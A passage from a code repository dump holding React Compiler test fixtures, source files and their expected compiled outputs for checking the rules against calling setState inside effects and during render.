    "content": "// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useEffect(() => {\n    const {height} = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useLayoutEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef({size: 5});\n  const [computedSize, setComputedSize] = useState(0);\n\n  useLayoutEffect(() => {\n    setComputedSize(ref.current.size * 10);\n  }, []);\n\n  return computedSize;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport { useState, useRef, useLayoutEffect } from \"react\";\n\nfunction Component() {\n  const ref = useRef({ size: 5 });\n  const [computedSize, setComputedSize] = useState(0);\n\n  useLayoutEffect(() => {\n    setComputedSize(ref.current.size * 10);\n  }, []);\n\n  return computedSize;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 50"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useLayoutEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef({size: 5});\n  const [computedSize, setComputedSize] = useState(0);\n\n  useLayoutEffect(() => {\n    setComputedSize(ref.current.size * 10);\n  }, []);\n\n  return computedSize;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef([1, 2, 3, 4, 5]);\n  const [value, setValue] = useState(0);\n\n  useEffect(() => {\n    const index = 2;\n    setValue(ref.current[index]);\n  }, []);\n\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport { useState, useRef, useEffect } from \"react\";\n\nfunction Component() {\n  const ref = useRef([1, 2, 3, 4, 5]);\n  const [value, setValue] = useState(0);\n\n  useEffect(() => {\n    const index = 2;\n    setValue(ref.current[index]);\n  }, []);\n\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 3"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef([1, 2, 3, 4, 5]);\n  const [value, setValue] = useState(0);\n\n  useEffect(() => {\n    const index = 2;\n    setValue(ref.current[index]);\n  }, []);\n\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [width, setWidth] = useState(0);\n\n  useEffect(() => {\n    function getBoundingRect(ref) {\n      if (ref.current) {\n        return ref.current.getBoundingClientRect?.()?.width ?? 100;\n      }\n      return 100;\n    }\n\n    setWidth(getBoundingRect(ref));\n  }, []);\n\n  return width;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport { useState, useRef, useEffect } from \"react\";\n\nfunction Component() {\n  const ref = useRef(null);\n  const [width, setWidth] = useState(0);\n\n  useEffect(() => {\n    function getBoundingRect(ref_0) {\n      if (ref_0.current) {\n        return ref_0.current.getBoundingClientRect?.()?.width ?? 100;\n      }\n      return 100;\n    }\n\n    setWidth(getBoundingRect(ref));\n  }, []);\n\n  return width;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 100"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [width, setWidth] = useState(0);\n\n  useEffect(() => {\n    function getBoundingRect(ref) {\n      if (ref.current) {\n        return ref.current.getBoundingClientRect?.()?.width ?? 100;\n      }\n      return 100;\n    }\n\n    setWidth(getBoundingRect(ref));\n  }, []);\n\n  return width;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\" @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component({x, y}) {\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n\n  useEffect(() => {\n    const previousX = previousXRef.current;\n    previousXRef.current = x;\n    const previousY = previousYRef.current;\n    previousYRef.current = y;\n    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n      const data = load({x, y});\n      setData(data);\n    }\n  }, [x, y]);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({x, y}) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 0, y: 0}],\n  sequentialRenders: [\n    {x: 0, y: 0},\n    {x: 1, y: 0},\n    {x: 1, y: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\" @outputMode:\"lint\"\nimport { useState, useRef, useEffect } from \"react\";\n\nfunction Component({ x, y }) {\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n\n  useEffect(() => {\n    const previousX = previousXRef.current;\n    previousXRef.current = x;\n    const previousY = previousYRef.current;\n    previousYRef.current = y;\n    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n      const data_0 = load({ x, y });\n      setData(data_0);\n    }\n  }, [x, y]);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({ x, y }) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 0, y: 0 }],\n  sequentialRenders: [\n    { x: 0, y: 0 },\n    { x: 1, y: 0 },\n    { x: 1, y: 1 },\n  ],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":182},\"end\":{\"line\":22,\"column\":1,\"index\":650},\"filename\":\"valid-setState-in-useEffect-controlled-by-ref-value.ts\"},\"fnName\":\"Component\",\"memoSlots\":4,\"memoBlocks\":1,\"memoValues\":2,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) 0\n0\n1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\" @outputMode:\"lint\"\nimport {useState, useRef, useEffect} from 'react';\n\nfunction Component({x, y}) {\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n\n  useEffect(() => {\n    const previousX = previousXRef.current;\n    previousXRef.current = x;\n    const previousY = previousYRef.current;\n    previousYRef.current = y;\n    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n      const data = load({x, y});\n      setData(data);\n    }\n  }, [x, y]);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({x, y}) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 0, y: 0}],\n  sequentialRenders: [\n    {x: 0, y: 0},\n    {x: 1, y: 0},\n    {x: 1, y: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    const f = () => {\n      setState();\n    };\n    setTimeout(() => f(), 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    const f = () => {\n      setState();\n    };\n    setTimeout(() => f(), 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.js",
    "content": "// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    const f = () => {\n      setState();\n    };\n    setTimeout(() => f(), 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setTimeout(setState, 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setTimeout(setState, 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.js",
    "content": "// @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  useEffect(() => {\n    setTimeout(setState, 10);\n  });\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport {useEffect, useEffectEvent, useState} from 'react';\n\nconst shouldSetState = false;\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const effectEvent = useEffectEvent(() => {\n    setState(10);\n  });\n  useEffect(() => {\n    setTimeout(effectEvent, 10);\n  });\n\n  const effectEventWithTimeout = useEffectEvent(() => {\n    setTimeout(() => {\n      setState(20);\n    }, 10);\n  });\n  useEffect(() => {\n    effectEventWithTimeout();\n  }, []);\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport { useEffect, useEffectEvent, useState } from \"react\";\n\nconst shouldSetState = false;\n\nfunction Component() {\n  const $ = _c(7);\n  const [state, setState] = useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setState(10);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const effectEvent = useEffectEvent(t0);\n  let t1;\n  if ($[1] !== effectEvent) {\n    t1 = () => {\n      setTimeout(effectEvent, 10);\n    };\n    $[1] = effectEvent;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      setTimeout(() => {\n        setState(20);\n      }, 10);\n    };\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const effectEventWithTimeout = useEffectEvent(t2);\n  let t3;\n  if ($[4] !== effectEventWithTimeout) {\n    t3 = () => {\n      effectEventWithTimeout();\n    };\n    $[4] = effectEventWithTimeout;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t4 = [];\n    $[6] = t4;\n  } else {\n    t4 = $[6];\n  }\n  useEffect(t3, t4);\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":6,\"column\":0,\"index\":164},\"end\":{\"line\":24,\"column\":1,\"index\":551},\"filename\":\"valid-setState-in-useEffect-via-useEffectEvent-listener.ts\"},\"fnName\":\"Component\",\"memoSlots\":7,\"memoBlocks\":5,\"memoValues\":5,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) (0 , _react.useEffectEvent) is not a function"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.js",
    "content": "// @validateNoSetStateInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport {useEffect, useEffectEvent, useState} from 'react';\n\nconst shouldSetState = false;\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const effectEvent = useEffectEvent(() => {\n    setState(10);\n  });\n  useEffect(() => {\n    setTimeout(effectEvent, 10);\n  });\n\n  const effectEventWithTimeout = useEffectEvent(() => {\n    setTimeout(() => {\n      setState(20);\n    }, 10);\n  });\n  useEffect(() => {\n    effectEventWithTimeout();\n  }, []);\n  return state;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport {useState, useRef, useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y}) {\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n\n  const effectEvent = useEffectEvent(() => {\n    const data = load({x, y});\n    setData(data);\n  });\n\n  useEffect(() => {\n    const previousX = previousXRef.current;\n    previousXRef.current = x;\n    const previousY = previousYRef.current;\n    previousYRef.current = y;\n    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n      effectEvent();\n    }\n  }, [x, y]);\n\n  const effectEvent2 = useEffectEvent((xx, yy) => {\n    const previousX = previousXRef.current;\n    previousXRef.current = xx;\n    const previousY = previousYRef.current;\n    previousYRef.current = yy;\n    if (!areEqual(xx, previousX) || !areEqual(yy, previousY)) {\n      const data = load({x: xx, y: yy});\n      setData(data);\n    }\n  });\n\n  useEffect(() => {\n    effectEvent2(x, y);\n  }, [x, y]);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({x, y}) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 0, y: 0}],\n  sequentialRenders: [\n    {x: 0, y: 0},\n    {x: 1, y: 0},\n    {x: 1, y: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport { useState, useRef, useEffect, useEffectEvent } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(18);\n  const { x, y } = t0;\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n  let t1;\n  if ($[0] !== x || $[1] !== y) {\n    t1 = () => {\n      const data_0 = load({ x, y });\n      setData(data_0);\n    };\n    $[0] = x;\n    $[1] = y;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const effectEvent = useEffectEvent(t1);\n  let t2;\n  if ($[3] !== effectEvent || $[4] !== x || $[5] !== y) {\n    t2 = () => {\n      const previousX = previousXRef.current;\n      previousXRef.current = x;\n      const previousY = previousYRef.current;\n      previousYRef.current = y;\n      if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n        effectEvent();\n      }\n    };\n    $[3] = effectEvent;\n    $[4] = x;\n    $[5] = y;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  let t3;\n  if ($[7] !== x || $[8] !== y) {\n    t3 = [x, y];\n    $[7] = x;\n    $[8] = y;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  useEffect(t2, t3);\n  let t4;\n  if ($[10] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t4 = (xx, yy) => {\n      const previousX_0 = previousXRef.current;\n      previousXRef.current = xx;\n      const previousY_0 = previousYRef.current;\n      previousYRef.current = yy;\n      if (!areEqual(xx, previousX_0) || !areEqual(yy, previousY_0)) {\n        const data_1 = load({ x: xx, y: yy });\n        setData(data_1);\n      }\n    };\n    $[10] = t4;\n  } else {\n    t4 = $[10];\n  }\n  const effectEvent2 = useEffectEvent(t4);\n  let t5;\n  if ($[11] !== effectEvent2 || $[12] !== x || $[13] !== y) {\n    t5 = () => {\n      effectEvent2(x, y);\n    };\n    $[11] = effectEvent2;\n    $[12] = x;\n    $[13] = y;\n    $[14] = t5;\n  } else {\n    t5 = $[14];\n  }\n  let t6;\n  if ($[15] !== x || $[16] !== y) {\n    t6 = [x, y];\n    $[15] = x;\n    $[16] = y;\n    $[17] = t6;\n  } else {\n    t6 = $[17];\n  }\n  useEffect(t5, t6);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({ x, y }) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 0, y: 0 }],\n  sequentialRenders: [\n    { x: 0, y: 0 },\n    { x: 1, y: 0 },\n    { x: 1, y: 1 },\n  ],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":179},\"end\":{\"line\":41,\"column\":1,\"index\":1116},\"filename\":\"valid-setState-in-useEffect-via-useEffectEvent-with-ref.ts\"},\"fnName\":\"Component\",\"memoSlots\":18,\"memoBlocks\":6,\"memoValues\":6,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]\n[[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]\n[[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:\"infer\"\nimport {useState, useRef, useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y}) {\n  const previousXRef = useRef(null);\n  const previousYRef = useRef(null);\n\n  const [data, setData] = useState(null);\n\n  const effectEvent = useEffectEvent(() => {\n    const data = load({x, y});\n    setData(data);\n  });\n\n  useEffect(() => {\n    const previousX = previousXRef.current;\n    previousXRef.current = x;\n    const previousY = previousYRef.current;\n    previousYRef.current = y;\n    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {\n      effectEvent();\n    }\n  }, [x, y]);\n\n  const effectEvent2 = useEffectEvent((xx, yy) => {\n    const previousX = previousXRef.current;\n    previousXRef.current = xx;\n    const previousY = previousYRef.current;\n    previousYRef.current = yy;\n    if (!areEqual(xx, previousX) || !areEqual(yy, previousY)) {\n      const data = load({x: xx, y: yy});\n      setData(data);\n    }\n  });\n\n  useEffect(() => {\n    effectEvent2(x, y);\n  }, [x, y]);\n\n  return data;\n}\n\nfunction areEqual(a, b) {\n  return a === b;\n}\n\nfunction load({x, y}) {\n  return x * y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 0, y: 0}],\n  sequentialRenders: [\n    {x: 0, y: 0},\n    {x: 1, y: 0},\n    {x: 1, y: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useLayoutEffect} from 'react';\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useLayoutEffect(() => {\n    const {height} = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport { useState, useRef, useLayoutEffect } from \"react\";\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useLayoutEffect(() => {\n    const { height } = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) Cannot read properties of null (reading 'getBoundingClientRect')"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.js",
    "content": "// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:\"lint\"\nimport {useState, useRef, useLayoutEffect} from 'react';\n\nfunction Tooltip() {\n  const ref = useRef(null);\n  const [tooltipHeight, setTooltipHeight] = useState(0);\n\n  useLayoutEffect(() => {\n    const {height} = ref.current.getBoundingClientRect();\n    setTooltipHeight(height);\n  }, []);\n\n  return tooltipHeight;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Tooltip,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender @enableAssumeHooksFollowRulesOfReact\nfunction Component(props) {\n  const logEvent = useLogging(props.appId);\n  const [currentStep, setCurrentStep] = useState(0);\n\n  // onSubmit gets the same mutable range as `logEvent`, since that is called\n  // later. however, our validation uses direct aliasing to track function\n  // expressions which are invoked, and understands that this function isn't\n  // called during render:\n  const onSubmit = errorEvent => {\n    logEvent(errorEvent);\n    setCurrentStep(1);\n  };\n\n  switch (currentStep) {\n    case 0:\n      return <OtherComponent data={{foo: 'bar'}} />;\n    case 1:\n      return <OtherComponent data={{foo: 'joe'}} onSubmit={onSubmit} />;\n    default:\n      // 1. logEvent's mutable range is extended to this instruction\n      logEvent('Invalid step');\n      return <OtherComponent data={null} />;\n  }\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInRender @enableAssumeHooksFollowRulesOfReact\nfunction Component(props) {\n  const $ = _c(7);\n  const logEvent = useLogging(props.appId);\n  const [currentStep, setCurrentStep] = useState(0);\n  let t0;\n  if ($[0] !== logEvent) {\n    t0 = (errorEvent) => {\n      logEvent(errorEvent);\n      setCurrentStep(1);\n    };\n    $[0] = logEvent;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onSubmit = t0;\n\n  switch (currentStep) {\n    case 0: {\n      let t1;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = <OtherComponent data={{ foo: \"bar\" }} />;\n        $[2] = t1;\n      } else {\n        t1 = $[2];\n      }\n      return t1;\n    }\n    case 1: {\n      let t1;\n      if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = { foo: \"joe\" };\n        $[3] = t1;\n      } else {\n        t1 = $[3];\n      }\n      let t2;\n      if ($[4] !== onSubmit) {\n        t2 = <OtherComponent data={t1} onSubmit={onSubmit} />;\n        $[4] = onSubmit;\n        $[5] = t2;\n      } else {\n        t2 = $[5];\n      }\n      return t2;\n    }\n    default: {\n      logEvent(\"Invalid step\");\n      let t1;\n      if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = <OtherComponent data={null} />;\n        $[6] = t1;\n      } else {\n        t1 = $[6];\n      }\n      return t1;\n    }\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.js",
    "content": "// @validateNoSetStateInRender @enableAssumeHooksFollowRulesOfReact\nfunction Component(props) {\n  const logEvent = useLogging(props.appId);\n  const [currentStep, setCurrentStep] = useState(0);\n\n  // onSubmit gets the same mutable range as `logEvent`, since that is called\n  // later. however, our validation uses direct aliasing to track function\n  // expressions which are invoked, and understands that this function isn't\n  // called during render:\n  const onSubmit = errorEvent => {\n    logEvent(errorEvent);\n    setCurrentStep(1);\n  };\n\n  switch (currentStep) {\n    case 0:\n      return <OtherComponent data={{foo: 'bar'}} />;\n    case 1:\n      return <OtherComponent data={{foo: 'joe'}} onSubmit={onSubmit} />;\n    default:\n      // 1. logEvent's mutable range is extended to this instruction\n      logEvent('Invalid step');\n      return <OtherComponent data={null} />;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  const bar = () => {\n    if (props.cond) {\n      // This call is now conditional, so this should pass validation\n      foo();\n    }\n  };\n\n  const baz = () => {\n    bar();\n  };\n  baz();\n\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInRender\nimport { useState } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const [x, setX] = useState(0);\n\n  const foo = () => {\n    setX(1);\n  };\n\n  const bar = () => {\n    if (props.cond) {\n      foo();\n    }\n  };\n\n  const baz = () => {\n    bar();\n  };\n\n  baz();\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false }],\n};\n\n```\n      \n### 